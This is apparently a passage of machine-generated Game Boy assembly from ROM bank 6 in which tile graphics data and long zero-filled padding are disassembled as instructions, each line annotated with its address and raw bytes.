nop ; $7117: $00
nop ; $7118: $00
nop ; $7119: $00
nop ; $711a: $00
nop ; $711b: $00
nop ; $711c: $00
nop ; $711d: $00
nop ; $711e: $00
nop ; $711f: $00
nop ; $7120: $00
rlca ; $7121: $07
nop ; $7122: $00
rra ; $7123: $1f
inc c ; $7124: $0c
inc sp ; $7125: $33
jr jr_006_718f ; $7126: $18 $67
db $10 ; $7128: $10
ld l, a ; $7129: $6f
jr nc, jr_006_70fb ; $712a: $30 $cf
jr nz, jr_006_710d ; $712c: $20 $df
jr nz, jr_006_710f ; $712e: $20 $df
jr_006_7130:
nop ; $7130: $00
jr_006_7131:
ldh [rP1], a ; $7131: $e0 $00
ld hl, sp+$00 ; $7133: $f8 $00
db $fc ; $7135: $fc
nop ; $7136: $00
cp $08 ; $7137: $fe $08
cp $0c ; $7139: $fe $0c
rst $38 ; $713b: $ff
inc c ; $713c: $0c
rst $38 ; $713d: $ff
ld c, $ff ; $713e: $0e $ff
nop ; $7140: $00
rst $38 ; $7141: $ff
nop ; $7142: $00
rst $38 ; $7143: $ff
nop ; $7144: $00
rst $38 ; $7145: $ff
db $10 ; $7146: $10
ld a, a ; $7147: $7f
rrca ; $7148: $0f
ld a, a ; $7149: $7f
rlca ; $714a: $07
ccf ; $714b: $3f
ld bc, $001f ; $714c: $01 $1f $00
rlca ; $714f: $07
ld c, $ff ; $7150: $0e $ff
ld e, $ff ; $7152: $1e $ff
ld e, $ff ; $7154: $1e $ff
ld a, h ; $7156: $7c
cp $fc ; $7157: $fe $fc
cp $f8 ; $7159: $fe $f8
db $fc ; $715b: $fc
ldh [$f8], a ; $715c: $e0 $f8
nop ; $715e: $00
ldh [rP1], a ; $715f: $e0 $00
rlca ; $7161: $07
ld [bc], a ; $7162: $02
dec c ; $7163: $0d
rlca ; $7164: $07
jr jr_006_716d ; $7165: $18 $06
add hl, de ; $7167: $19
nop ; $7168: $00
rra ; $7169: $1f
nop ; $716a: $00
rra ; $716b: $1f
nop ; $716c: $00
jr_006_716d:
rra ; $716d: $1f
nop ; $716e: $00
rrca ; $716f: $0f
nop ; $7170: $00
ret nz ; $7171: $c0
nop ; $7172: $00
ldh [rP1], a ; $7173: $e0 $00
ldh a, [rP1] ; $7175: $f0 $00
ldh a, [rP1] ; $7177: $f0 $00
ldh a, [rP1] ; $7179: $f0 $00
ldh a, [rP1] ; $717b: $f0 $00
ldh a, [rP1] ; $717d: $f0 $00
ldh [rNR41], a ; $717f: $e0 $20
rlca ; $7181: $07
jr c, jr_006_719c ; $7182: $38 $18
ccf ; $7184: $3f
daa ; $7185: $27
rra ; $7186: $1f
jr jr_006_7198 ; $7187: $18 $0f
rlca ; $7189: $07
rrca ; $718a: $0f
ld [$0707], sp ; $718b: $08 $07 $07
inc bc ; $718e: $03
jr_006_718f:
nop ; $718f: $00
ld [$38c0], sp ; $7190: $08 $c0 $38
jr nc, @-$06 ; $7193: $30 $f8
ret z ; $7195: $c8
ldh a, [$30] ; $7196: $f0 $30
jr_006_7198:
ldh [$c0], a ; $7198: $e0 $c0
ret nz ; $719a: $c0
nop ; $719b: $00
jr_006_719c:
ret nz ; $719c: $c0
ret nz ; $719d: $c0
add b ; $719e: $80
nop ; $719f: $00
nop ; $71a0: $00
nop ; $71a1: $00
ld [hl], b ; $71a2: $70
ld [hl], b ; $71a3: $70
cp $8e ; $71a4: $fe $8e
ld a, a ; $71a6: $7f
pop bc ; $71a7: $c1
ld a, a ; $71a8: $7f
ld b, b ; $71a9: $40
ld a, a ; $71aa: $7f
ld h, b ; $71ab: $60
ld a, [hl] ; $71ac: $7e
ld h, c ; $71ad: $61
jr jr_006_71b6 ; $71ae: $18 $06
nop ; $71b0: $00
nop ; $71b1: $00
nop ; $71b2: $00
nop ; $71b3: $00
nop ; $71b4: $00
nop ; $71b5: $00
jr_006_71b6:
nop ; $71b6: $00
nop ; $71b7: $00
add b ; $71b8: $80
add b ; $71b9: $80
ret nz ; $71ba: $c0
ld b, b ; $71bb: $40
ldh [$e0], a ; $71bc: $e0 $e0
ldh a, [rNR10] ; $71be: $f0 $10
nop ; $71c0: $00
nop ; $71c1: $00
nop ; $71c2: $00
nop ; $71c3: $00
ld bc, $0200 ; $71c4: $01 $00 $02
ld bc, $0700 ; $71c7: $01 $00 $07
nop ; $71ca: $00
rlca ; $71cb: $07
nop ; $71cc: $00
inc c ; $71cd: $0c
ld sp, $0018 ; $71ce: $31 $18 $00
nop ; $71d1: $00
inc bc ; $71d2: $03
ld [bc], a ; $71d3: $02
dec c ; $71d4: $0d
inc bc ; $71d5: $03
jr jr_006_71e7 ; $71d6: $18 $0f
push hl ; $71d8: $e5
ccf ; $71d9: $3f
ld de, $00ff ; $71da: $11 $ff $00
rst $38 ; $71dd: $ff
adc e ; $71de: $8b
rst $38 ; $71df: $ff
add c ; $71e0: $81
sbc b ; $71e1: $98
inc bc ; $71e2: $03
call nz, $d04f ; $71e3: $c4 $4f $d0
ld b, [hl] ; $71e6: $46
jr_006_71e7:
ld sp, hl ; $71e7: $f9
ld b, b ; $71e8: $40
add $31 ; $71e9: $c6 $31
add c ; $71eb: $81
ld c, d ; $71ec: $4a
inc sp ; $71ed: $33
ld [bc], a ; $71ee: $02
ld a, e ; $71ef: $7b
ld hl, sp+$08 ; $71f0: $f8 $08
ld hl, sp+$08 ; $71f2: $f8 $08
add sp, $18 ; $71f4: $e8 $18
inc c ; $71f6: $0c
db $e4 ; $71f7: $e4
ld c, $12 ; $71f8: $0e $12
ld a, $c2 ; $71fa: $3e $c2
cp $02 ; $71fc: $fe $02
ld a, [$6006] ; $71fe: $fa $06 $60
db $10 ; $7201: $10
sub b ; $7202: $90
jr jr_006_721d ; $7203: $18 $18
inc c ; $7205: $0c
inc a ; $7206: $3c
rlca ; $7207: $07
ld b, a ; $7208: $47
inc bc ; $7209: $03
inc bc ; $720a: $03
nop ; $720b: $00
ld b, $00 ; $720c: $06 $00
ld [$4400], sp ; $720e: $08 $00 $44
ld a, h ; $7211: $7c
nop ; $7212: $00
ld a, b ; $7213: $78
ld bc, $0570 ; $7214: $01 $70 $05
ret nz ; $7217: $c0
ld c, $a0 ; $7218: $0e $a0
ld de, $0300 ; $721a: $11 $00 $03
jr_006_721d:
ld [$1006], sp ; $721d: $08 $06 $10
ld sp, $783d ; $7220: $31 $3d $78
dec c ; $7223: $0d
ld hl, sp+$0d ; $7224: $f8 $0d
ld hl, sp+$0b ; $7226: $f8 $0b
ld [hl], c ; $7228: $71
dec de ; $7229: $1b
and e ; $722a: $a3
ld a, [hl-] ; $722b: $3a
rlca ; $722c: $07
inc [hl] ; $722d: $34
ld c, a ; $722e: $4f
ld [$fc04], sp ; $722f: $08 $04 $fc
add $c2 ; $7232: $c6 $c2
ld c, a ; $7234: $4f
pop af ; $7235: $f1
cp a ; $7236: $bf
pop bc ; $7237: $c1
cp a ; $7238: $bf
pop bc ; $7239: $c1
reti ; $723a: $d9
ld h, a ; $723b: $67
ldh [$38], a ; $723c: $e0 $38
rst $38 ; $723e: $ff
add hl, sp ; $723f: $39
ld [$0000], sp ; $7240: $08 $00 $00
ld [bc], a ; $7243: $02
ld bc, $0000 ; $7244: $01 $00 $00
nop ; $7247: $00
nop ; $7248: $00
nop ; $7249: $00
nop ; $724a: $00
nop ; $724b: $00
inc bc ; $724c: $03
ld bc, $0303 ; $724d: $01 $03 $03
rst $18 ; $7250: $df
add hl, de ; $7251: $19
sub [hl] ; $7252: $96
rra ; $7253: $1f
ld [$082f], sp ; $7254: $08 $2f $08
cpl ; $7257: $2f
scf ; $7258: $37
scf ; $7259: $37
adc h ; $725a: $8c
rst $28 ; $725b: $ef
ldh a, [$7f] ; $725c: $f0 $7f
ld sp, hl ; $725e: $f9
xor a ; $725f: $af
rst $18 ; $7260: $df
pop de ; $7261: $d1
ld sp, $5eff ; $7262: $31 $ff $5e
sbc $5e ; $7265: $de $5e
jp nc, $f23e ; $7267: $d2 $3e $f2
inc a ; $726a: $3c
db $fc ; $726b: $fc
inc e ; $726c: $1c
db $f4 ; $726d: $f4
ld hl, sp-$28 ; $726e: $f8 $d8
inc e ; $7270: $1c
nop ; $7271: $00
ld h, $03 ; $7272: $26 $03
ld [bc], a ; $7274: $02
inc bc ; $7275: $03
ld c, $03 ; $7276: $0e $03
ld a, $03 ; $7278: $3e $03
ld [bc], a ; $727a: $02
inc bc ; $727b: $03
inc bc ; $727c: $03
ld bc, $001f ; $727d: $01 $1f $00
ld b, $78 ; $7280: $06 $78
ld bc, $108e ; $7282: $01 $8e $10
inc bc ; $7285: $03
nop ; $7286: $00
inc bc ; $7287: $03
nop ; $7288: $00
rrca ; $7289: $0f
nop ; $728a: $00
rst $38 ; $728b: $ff
nop ; $728c: $00
rst $38 ; $728d: $ff
nop ; $728e: $00
rrca ; $728f: $0f
rrca ; $7290: $0f
inc b ; $7291: $04
ld a, [c] ; $7292: $f2
rst $18 ; $7293: $df
ld c, c ; $7294: $49
rst $38 ; $7295: $ff
ld [$01ff], sp ; $7296: $08 $ff $01
rst $38 ; $7299: $ff
ld b, e ; $729a: $43
rst $38 ; $729b: $ff
ld [bc], a ; $729c: $02
and e ; $729d: $a3
nop ; $729e: $00
ld bc, $0000 ; $729f: $01 $00 $00
nop ; $72a2: $00
ld [bc], a ; $72a3: $02
ld bc, $0508 ; $72a4: $01 $08 $05
db $10 ; $72a7: $10
ld c, $20 ; $72a8: $0e $20
ld de, $0300 ; $72aa: $11 $00 $03
ld [$1006], sp ; $72ad: $08 $06 $10
inc a ; $72b0: $3c
inc a ; $72b1: $3c
ld a, [hl] ; $72b2: $7e
ld h, [hl] ; $72b3: $66
rst $38 ; $72b4: $ff
jp $81ff ; $72b5: $c3 $ff $81
rst $38 ; $72b8: $ff
add c ; $72b9: $81
rst $38 ; $72ba: $ff
jp Jump_006_667e ; $72bb: $c3 $7e $66
inc a ; $72be: $3c
inc a ; $72bf: $3c
inc a ; $72c0: $3c
nop ; $72c1: $00
ld h, [hl] ; $72c2: $66
nop ; $72c3: $00
jp $9900 ; $72c4: $c3 $00 $99
nop ; $72c7: $00
sbc c ; $72c8: $99
nop ; $72c9: $00
jp Jump_006_6600 ; $72ca: $c3 $00 $66
nop ; $72cd: $00
inc a ; $72ce: $3c
Jump_006_72cf:
nop ; $72cf: $00
rlca ; $72d0: $07
ld bc, $001f ; $72d1: $01 $1f $00
ccf ; $72d4: $3f
nop ; $72d5: $00
ccf ; $72d6: $3f
ld [hl], b ; $72d7: $70
ld e, a ; $72d8: $5f
inc a ; $72d9: $3c
rst $20 ; $72da: $e7
ld e, $fb ; $72db: $1e $fb
rlca ; $72dd: $07
rst $30 ; $72de: $f7
rrca ; $72df: $0f
ldh [rP1], a ; $72e0: $e0 $00
ld hl, sp-$80 ; $72e2: $f8 $80
db $ec ; $72e4: $ec
sbc b ; $72e5: $98
xor $98 ; $72e6: $ee $98
sbc $70 ; $72e8: $de $70
cp a ; $72ea: $bf
ld [hl], d ; $72eb: $72
db $fd ; $72ec: $fd
cp $1b ; $72ed: $fe $1b
db $fc ; $72ef: $fc
db $ec ; $72f0: $ec
rra ; $72f1: $1f
sbc a ; $72f2: $9f
ld a, h ; $72f3: $7c
ld [hl], a ; $72f4: $77
db $fc ; $72f5: $fc
ld e, a ; $72f6: $5f
ld h, $7f ; $72f7: $26 $7f
rlca ; $72f9: $07
inc a ; $72fa: $3c
rrca ; $72fb: $0f
rra ; $72fc: $1f
db $10 ; $72fd: $10
rlca ; $72fe: $07
nop ; $72ff: $00
rst $10 ; $7300: $d7
jr c, @+$01 ; $7301: $38 $ff
rra ; $7303: $1f
ei ; $7304: $fb
inc c ; $7305: $0c
ld a, [$fe1c] ; $7306: $fa $1c $fe
inc [hl] ; $7309: $34
sbc $f2 ; $730a: $de $f2
cp b ; $730c: $b8
ret z ; $730d: $c8
ldh [rLCDC], a ; $730e: $e0 $40
nop ; $7310: $00
nop ; $7311: $00
nop ; $7312: $00
nop ; $7313: $00
nop ; $7314: $00
nop ; $7315: $00
nop ; $7316: $00
nop ; $7317: $00
nop ; $7318: $00
nop ; $7319: $00
nop ; $731a: $00
nop ; $731b: $00
ld c, $00 ; $731c: $0e $00
inc bc ; $731e: $03
nop ; $731f: $00
ld bc, $0000 ; $7320: $01 $00 $00
nop ; $7323: $00
nop ; $7324: $00
nop ; $7325: $00
inc bc ; $7326: $03
nop ; $7327: $00
rrca ; $7328: $0f
nop ; $7329: $00
nop ; $732a: $00
nop ; $732b: $00
ld bc, $0700 ; $732c: $01 $00 $07
nop ; $732f: $00
nop ; $7330: $00
rrca ; $7331: $0f
add b ; $7332: $80
pop af ; $7333: $f1
add d ; $7334: $82
ret nz ; $7335: $c0
add b ; $7336: $80
ret nz ; $7337: $c0
add b ; $7338: $80
pop bc ; $7339: $c1
add b ; $733a: $80
rst $38 ; $733b: $ff
ret nz ; $733c: $c0
ld a, a ; $733d: $7f
add b ; $733e: $80
inc bc ; $733f: $03
rst $00 ; $7340: $c7
nop ; $7341: $00
ld a, [hl-] ; $7342: $3a
rst $10 ; $7343: $d7
dec d ; $7344: $15
ld a, a ; $7345: $7f
inc b ; $7346: $04
ld a, a ; $7347: $7f
ld bc, $13ff ; $7348: $01 $ff $13
rst $38 ; $734b: $ff
ld [bc], a ; $734c: $02
db $eb ; $734d: $eb
nop ; $734e: $00
pop bc ; $734f: $c1
nop ; $7350: $00
nop ; $7351: $00
nop ; $7352: $00
nop ; $7353: $00
nop ; $7354: $00
nop ; $7355: $00
nop ; $7356: $00
nop ; $7357: $00
nop ; $7358: $00
nop ; $7359: $00
nop ; $735a: $00
nop ; $735b: $00
nop ; $735c: $00
nop ; $735d: $00
nop ; $735e: $00
nop ; $735f: $00
nop ; $7360: $00
nop ; $7361: $00
nop ; $7362: $00
nop ; $7363: $00
nop ; $7364: $00
nop ; $7365: $00
nop ; $7366: $00
nop ; $7367: $00
nop ; $7368: $00
nop ; $7369: $00
nop ; $736a: $00
nop ; $736b: $00
nop ; $736c: $00
nop ; $736d: $00
nop ; $736e: $00
nop ; $736f: $00
nop ; $7370: $00
nop ; $7371: $00
nop ; $7372: $00
nop ; $7373: $00
nop ; $7374: $00
nop ; $7375: $00
nop ; $7376: $00
nop ; $7377: $00
nop ; $7378: $00
nop ; $7379: $00
nop ; $737a: $00
nop ; $737b: $00
nop ; $737c: $00
nop ; $737d: $00
nop ; $737e: $00
nop ; $737f: $00
nop ; $7380: $00
nop ; $7381: $00
nop ; $7382: $00
nop ; $7383: $00
nop ; $7384: $00
nop ; $7385: $00
nop ; $7386: $00
nop ; $7387: $00
nop ; $7388: $00
nop ; $7389: $00
nop ; $738a: $00
nop ; $738b: $00
nop ; $738c: $00
nop ; $738d: $00
nop ; $738e: $00
nop ; $738f: $00
nop ; $7390: $00
nop ; $7391: $00
nop ; $7392: $00
nop ; $7393: $00
nop ; $7394: $00
nop ; $7395: $00
nop ; $7396: $00
nop ; $7397: $00
nop ; $7398: $00
nop ; $7399: $00
nop ; $739a: $00
nop ; $739b: $00
nop ; $739c: $00
nop ; $739d: $00
nop ; $739e: $00
nop ; $739f: $00
nop ; $73a0: $00
nop ; $73a1: $00
nop ; $73a2: $00
nop ; $73a3: $00
nop ; $73a4: $00
nop ; $73a5: $00
nop ; $73a6: $00
nop ; $73a7: $00
nop ; $73a8: $00
nop ; $73a9: $00
nop ; $73aa: $00
nop ; $73ab: $00
nop ; $73ac: $00
nop ; $73ad: $00
nop ; $73ae: $00
nop ; $73af: $00
nop ; $73b0: $00
nop ; $73b1: $00
nop ; $73b2: $00
nop ; $73b3: $00
nop ; $73b4: $00
nop ; $73b5: $00
nop ; $73b6: $00
nop ; $73b7: $00
nop ; $73b8: $00
nop ; $73b9: $00
nop ; $73ba: $00
nop ; $73bb: $00
nop ; $73bc: $00
nop ; $73bd: $00
nop ; $73be: $00
nop ; $73bf: $00
nop ; $73c0: $00
nop ; $73c1: $00
nop ; $73c2: $00
nop ; $73c3: $00
nop ; $73c4: $00
nop ; $73c5: $00
nop ; $73c6: $00
nop ; $73c7: $00
nop ; $73c8: $00
nop ; $73c9: $00
nop ; $73ca: $00
nop ; $73cb: $00
nop ; $73cc: $00
nop ; $73cd: $00
nop ; $73ce: $00
nop ; $73cf: $00
nop ; $73d0: $00
nop ; $73d1: $00
nop ; $73d2: $00
nop ; $73d3: $00
nop ; $73d4: $00
nop ; $73d5: $00
nop ; $73d6: $00
nop ; $73d7: $00
nop ; $73d8: $00
nop ; $73d9: $00
nop ; $73da: $00
nop ; $73db: $00
nop ; $73dc: $00
nop ; $73dd: $00
nop ; $73de: $00
nop ; $73df: $00
nop ; $73e0: $00
nop ; $73e1: $00
nop ; $73e2: $00
nop ; $73e3: $00
nop ; $73e4: $00
nop ; $73e5: $00
nop ; $73e6: $00
nop ; $73e7: $00
nop ; $73e8: $00
nop ; $73e9: $00
nop ; $73ea: $00
nop ; $73eb: $00
nop ; $73ec: $00
nop ; $73ed: $00
nop ; $73ee: $00
nop ; $73ef: $00
nop ; $73f0: $00
nop ; $73f1: $00
nop ; $73f2: $00
nop ; $73f3: $00
nop ; $73f4: $00
nop ; $73f5: $00
nop ; $73f6: $00
nop ; $73f7: $00
nop ; $73f8: $00
nop ; $73f9: $00
nop ; $73fa: $00
nop ; $73fb: $00
nop ; $73fc: $00
nop ; $73fd: $00
nop ; $73fe: $00
nop ; $73ff: $00
nop ; $7400: $00
nop ; $7401: $00
nop ; $7402: $00
nop ; $7403: $00
nop ; $7404: $00
nop ; $7405: $00
nop ; $7406: $00
nop ; $7407: $00
nop ; $7408: $00
nop ; $7409: $00
nop ; $740a: $00
nop ; $740b: $00
nop ; $740c: $00
nop ; $740d: $00
nop ; $740e: $00
nop ; $740f: $00
nop ; $7410: $00
nop ; $7411: $00
nop ; $7412: $00
nop ; $7413: $00
nop ; $7414: $00
nop ; $7415: $00
nop ; $7416: $00
nop ; $7417: $00
nop ; $7418: $00
nop ; $7419: $00
nop ; $741a: $00
nop ; $741b: $00
nop ; $741c: $00
nop ; $741d: $00
nop ; $741e: $00
nop ; $741f: $00
nop ; $7420: $00
nop ; $7421: $00
nop ; $7422: $00
nop ; $7423: $00
nop ; $7424: $00
nop ; $7425: $00
nop ; $7426: $00
nop ; $7427: $00
nop ; $7428: $00
nop ; $7429: $00
nop ; $742a: $00
nop ; $742b: $00
nop ; $742c: $00
nop ; $742d: $00
nop ; $742e: $00
nop ; $742f: $00
nop ; $7430: $00
nop ; $7431: $00
nop ; $7432: $00
nop ; $7433: $00
nop ; $7434: $00
nop ; $7435: $00
nop ; $7436: $00
nop ; $7437: $00
nop ; $7438: $00
nop ; $7439: $00
nop ; $743a: $00
nop ; $743b: $00
nop ; $743c: $00
nop ; $743d: $00
nop ; $743e: $00
nop ; $743f: $00
nop ; $7440: $00
nop ; $7441: $00
nop ; $7442: $00
nop ; $7443: $00
nop ; $7444: $00
nop ; $7445: $00
nop ; $7446: $00
nop ; $7447: $00
nop ; $7448: $00
nop ; $7449: $00
nop ; $744a: $00
nop ; $744b: $00
nop ; $744c: $00
nop ; $744d: $00
nop ; $744e: $00
nop ; $744f: $00
nop ; $7450: $00
nop ; $7451: $00
nop ; $7452: $00
nop ; $7453: $00
nop ; $7454: $00
nop ; $7455: $00
nop ; $7456: $00
nop ; $7457: $00
nop ; $7458: $00
nop ; $7459: $00
nop ; $745a: $00
nop ; $745b: $00
nop ; $745c: $00
nop ; $745d: $00
nop ; $745e: $00
nop ; $745f: $00
nop ; $7460: $00
nop ; $7461: $00
nop ; $7462: $00
nop ; $7463: $00
nop ; $7464: $00
nop ; $7465: $00
nop ; $7466: $00
nop ; $7467: $00
nop ; $7468: $00
nop ; $7469: $00
nop ; $746a: $00
nop ; $746b: $00
nop ; $746c: $00
nop ; $746d: $00
nop ; $746e: $00
nop ; $746f: $00
nop ; $7470: $00
nop ; $7471: $00
nop ; $7472: $00
nop ; $7473: $00
nop ; $7474: $00
nop ; $7475: $00
nop ; $7476: $00
nop ; $7477: $00
nop ; $7478: $00
nop ; $7479: $00
nop ; $747a: $00
nop ; $747b: $00
nop ; $747c: $00
nop ; $747d: $00
nop ; $747e: $00
nop ; $747f: $00
nop ; $7480: $00
nop ; $7481: $00
nop ; $7482: $00
nop ; $7483: $00
nop ; $7484: $00
nop ; $7485: $00
nop ; $7486: $00
nop ; $7487: $00
nop ; $7488: $00
nop ; $7489: $00
nop ; $748a: $00
nop ; $748b: $00
nop ; $748c: $00
nop ; $748d: $00
nop ; $748e: $00
nop ; $748f: $00
nop ; $7490: $00
nop ; $7491: $00
nop ; $7492: $00
nop ; $7493: $00
nop ; $7494: $00
nop ; $7495: $00
nop ; $7496: $00
nop ; $7497: $00
nop ; $7498: $00
nop ; $7499: $00
nop ; $749a: $00
nop ; $749b: $00
nop ; $749c: $00
nop ; $749d: $00
nop ; $749e: $00
nop ; $749f: $00
nop ; $74a0: $00
nop ; $74a1: $00
nop ; $74a2: $00
nop ; $74a3: $00
nop ; $74a4: $00
nop ; $74a5: $00
nop ; $74a6: $00
nop ; $74a7: $00
nop ; $74a8: $00
nop ; $74a9: $00
nop ; $74aa: $00
nop ; $74ab: $00
nop ; $74ac: $00
nop ; $74ad: $00
nop ; $74ae: $00
nop ; $74af: $00
nop ; $74b0: $00
nop ; $74b1: $00
nop ; $74b2: $00
nop ; $74b3: $00
nop ; $74b4: $00
nop ; $74b5: $00
nop ; $74b6: $00
nop ; $74b7: $00
nop ; $74b8: $00
nop ; $74b9: $00
nop ; $74ba: $00
nop ; $74bb: $00
nop ; $74bc: $00
nop ; $74bd: $00
nop ; $74be: $00
nop ; $74bf: $00
nop ; $74c0: $00
nop ; $74c1: $00
nop ; $74c2: $00
nop ; $74c3: $00
nop ; $74c4: $00
nop ; $74c5: $00
nop ; $74c6: $00
nop ; $74c7: $00
nop ; $74c8: $00
nop ; $74c9: $00
nop ; $74ca: $00
nop ; $74cb: $00
nop ; $74cc: $00
nop ; $74cd: $00
nop ; $74ce: $00
nop ; $74cf: $00
nop ; $74d0: $00
nop ; $74d1: $00
nop ; $74d2: $00
nop ; $74d3: $00
nop ; $74d4: $00
nop ; $74d5: $00
nop ; $74d6: $00
nop ; $74d7: $00
nop ; $74d8: $00
nop ; $74d9: $00
nop ; $74da: $00
nop ; $74db: $00
nop ; $74dc: $00
nop ; $74dd: $00
nop ; $74de: $00
nop ; $74df: $00
nop ; $74e0: $00
nop ; $74e1: $00
nop ; $74e2: $00
nop ; $74e3: $00
nop ; $74e4: $00
nop ; $74e5: $00
nop ; $74e6: $00
nop ; $74e7: $00
nop ; $74e8: $00
nop ; $74e9: $00
nop ; $74ea: $00
nop ; $74eb: $00
nop ; $74ec: $00
nop ; $74ed: $00
nop ; $74ee: $00
nop ; $74ef: $00
nop ; $74f0: $00
nop ; $74f1: $00
nop ; $74f2: $00
nop ; $74f3: $00
nop ; $74f4: $00
nop ; $74f5: $00
nop ; $74f6: $00
nop ; $74f7: $00
nop ; $74f8: $00
nop ; $74f9: $00
nop ; $74fa: $00
nop ; $74fb: $00
nop ; $74fc: $00
nop ; $74fd: $00
nop ; $74fe: $00
nop ; $74ff: $00
nop ; $7500: $00
nop ; $7501: $00
nop ; $7502: $00
nop ; $7503: $00
nop ; $7504: $00
nop ; $7505: $00
nop ; $7506: $00
nop ; $7507: $00
nop ; $7508: $00
nop ; $7509: $00
nop ; $750a: $00
nop ; $750b: $00
nop ; $750c: $00
nop ; $750d: $00
nop ; $750e: $00
nop ; $750f: $00
nop ; $7510: $00
nop ; $7511: $00
nop ; $7512: $00
nop ; $7513: $00
nop ; $7514: $00
nop ; $7515: $00
nop ; $7516: $00
nop ; $7517: $00
nop ; $7518: $00
nop ; $7519: $00
nop ; $751a: $00
nop ; $751b: $00
nop ; $751c: $00
nop ; $751d: $00
nop ; $751e: $00
nop ; $751f: $00
nop ; $7520: $00
rlca ; $7521: $07
jr jr_006_7524 ; $7522: $18 $00
jr_006_7524:
jr nz, jr_006_7526 ; $7524: $20 $00
jr_006_7526:
ld b, b ; $7526: $40
nop ; $7527: $00
nop ; $7528: $00
ld d, c ; $7529: $51
nop ; $752a: $00
adc e ; $752b: $8b
ld bc, $8a82 ; $752c: $01 $82 $8a
rrca ; $752f: $0f
or l ; $7530: $b5
dec de ; $7531: $1b
ld de, $1a9f ; $7532: $11 $9f $1a
sbc [hl] ; $7535: $9e
jr jr_006_7578 ; $7536: $18 $40
jr jr_006_753d ; $7538: $18 $03
ld [$0400], sp ; $753a: $08 $00 $04
jr_006_753d:
nop ; $753d: $00
nop ; $753e: $00
nop ; $753f: $00
nop ; $7540: $00
nop ; $7541: $00
nop ; $7542: $00
rlca ; $7543: $07
jr jr_006_7546 ; $7544: $18 $00
jr_006_7546:
jr nz, jr_006_7548 ; $7546: $20 $00
jr_006_7548:
ld hl, $0301 ; $7548: $21 $01 $03
ld c, e ; $754b: $4b
inc bc ; $754c: $03
ld b, d ; $754d: $42
rrca ; $754e: $0f
ld c, a ; $754f: $4f
ccf ; $7550: $3f
ld e, e ; $7551: $5b
rra ; $7552: $1f
ld e, a ; $7553: $5f
ld e, $5e ; $7554: $1e $5e
inc c ; $7556: $0c
jr nz, @+$0e ; $7557: $20 $0c
ld bc, $0004 ; $7559: $01 $04 $00
ld [bc], a ; $755c: $02
nop ; $755d: $00
nop ; $755e: $00
nop ; $755f: $00
nop ; $7560: $00
nop ; $7561: $00
nop ; $7562: $00
nop ; $7563: $00
ld bc, $0301 ; $7564: $01 $01 $03
inc bc ; $7567: $03
inc b ; $7568: $04
rlca ; $7569: $07
rrca ; $756a: $0f
ld c, $13 ; $756b: $0e $13
dec e ; $756d: $1d
rra ; $756e: $1f
add hl, de ; $756f: $19
nop ; $7570: $00
nop ; $7571: $00
inc a ; $7572: $3c
inc a ; $7573: $3c
rst $38 ; $7574: $ff
rst $38 ; $7575: $ff
and h ; $7576: $a4
rst $38 ; $7577: $ff
jr_006_7578:
ld [hl], c ; $7578: $71
rst $38 ; $7579: $ff
dec de ; $757a: $1b
rst $38 ; $757b: $ff
ld h, a ; $757c: $67
rst $38 ; $757d: $ff
or a ; $757e: $b7
rst $38 ; $757f: $ff
cpl ; $7580: $2f
add hl, sp ; $7581: $39
ld l, $33 ; $7582: $2e $33
inc a ; $7584: $3c
inc sp ; $7585: $33
ld b, c ; $7586: $41
ld a, a ; $7587: $7f
ld h, e ; $7588: $63
ld a, a ; $7589: $7f
ld a, [hl] ; $758a: $7e
ld [hl], e ; $758b: $73
ld a, [hl] ; $758c: $7e
ld [hl], e ; $758d: $73
ld h, h ; $758e: $64
ld a, e ; $758f: $7b
and e ; $7590: $a3
rst $38 ; $7591: $ff
db $10 ; $7592: $10
rst $38 ; $7593: $ff
cp h ; $7594: $bc
rst $38 ; $7595: $ff
ld a, [hl] ; $7596: $7e
rst $38 ; $7597: $ff
ld a, $ff ; $7598: $3e $ff
ld l, b ; $759a: $68
rst $38 ; $759b: $ff
inc b ; $759c: $04
rst $38 ; $759d: $ff
ld e, $ff ; $759e: $1e $ff
dec l ; $75a0: $2d
dec sp ; $75a1: $3b
ccf ; $75a2: $3f
add hl, sp ; $75a3: $39
inc de ; $75a4: $13
dec e ; $75a5: $1d
inc e ; $75a6: $1c
rra ; $75a7: $1f
ld c, $0f ; $75a8: $0e $0f
inc bc ; $75aa: $03
inc bc ; $75ab: $03
nop ; $75ac: $00
nop ; $75ad: $00
nop ; $75ae: $00
nop ; $75af: $00
xor [hl] ; $75b0: $ae
rst $38 ; $75b1: $ff
ret z ; $75b2: $c8
rst $38 ; $75b3: $ff
pop bc ; $75b4: $c1
rst $38 ; $75b5: $ff
dec c ; $75b6: $0d
rst $38 ; $75b7: $ff
sbc l ; $75b8: $9d
ld a, [hl] ; $75b9: $7e
add $ff ; $75ba: $c6 $ff
rst $38 ; $75bc: $ff
rst $38 ; $75bd: $ff
nop ; $75be: $00
nop ; $75bf: $00
db $10 ; $75c0: $10
db $10 ; $75c1: $10
db $10 ; $75c2: $10
db $10 ; $75c3: $10
jr z, @+$3a ; $75c4: $28 $38
ld d, h ; $75c6: $54
ld l, h ; $75c7: $6c
jr z, jr_006_7602 ; $75c8: $28 $38
db $10 ; $75ca: $10
db $10 ; $75cb: $10
db $10 ; $75cc: $10
stop ; $75cd: $10 $00
nop ; $75cf: $00
nop ; $75d0: $00
nop ; $75d1: $00
nop ; $75d2: $00
nop ; $75d3: $00
nop ; $75d4: $00
nop ; $75d5: $00
nop ; $75d6: $00
nop ; $75d7: $00
jr nz, jr_006_75fa ; $75d8: $20 $20
ld [hl], b ; $75da: $70
ld d, b ; $75db: $50
jr nz, @+$22 ; $75dc: $20 $20
nop ; $75de: $00
nop ; $75df: $00
nop ; $75e0: $00
nop ; $75e1: $00
db $10 ; $75e2: $10
db $10 ; $75e3: $10
jr z, jr_006_761e ; $75e4: $28 $38
db $10 ; $75e6: $10
stop ; $75e7: $10 $00
nop ; $75e9: $00
nop ; $75ea: $00
nop ; $75eb: $00
nop ; $75ec: $00
nop ; $75ed: $00
nop ; $75ee: $00
nop ; $75ef: $00
nop ; $75f0: $00
nop ; $75f1: $00
nop ; $75f2: $00
nop ; $75f3: $00
db $10 ; $75f4: $10
stop ; $75f5: $10 $00
db $10 ; $75f7: $10
jr c, jr_006_7622 ; $75f8: $38 $28
jr_006_75fa:
nop ; $75fa: $00
db $10 ; $75fb: $10
db $10 ; $75fc: $10
stop ; $75fd: $10 $00
nop ; $75ff: $00
nop ; $7600: $00
nop ; $7601: $00
jr_006_7602:
nop ; $7602: $00
nop ; $7603: $00
nop ; $7604: $00
nop ; $7605: $00
nop ; $7606: $00
nop ; $7607: $00
nop ; $7608: $00
nop ; $7609: $00
nop ; $760a: $00
nop ; $760b: $00
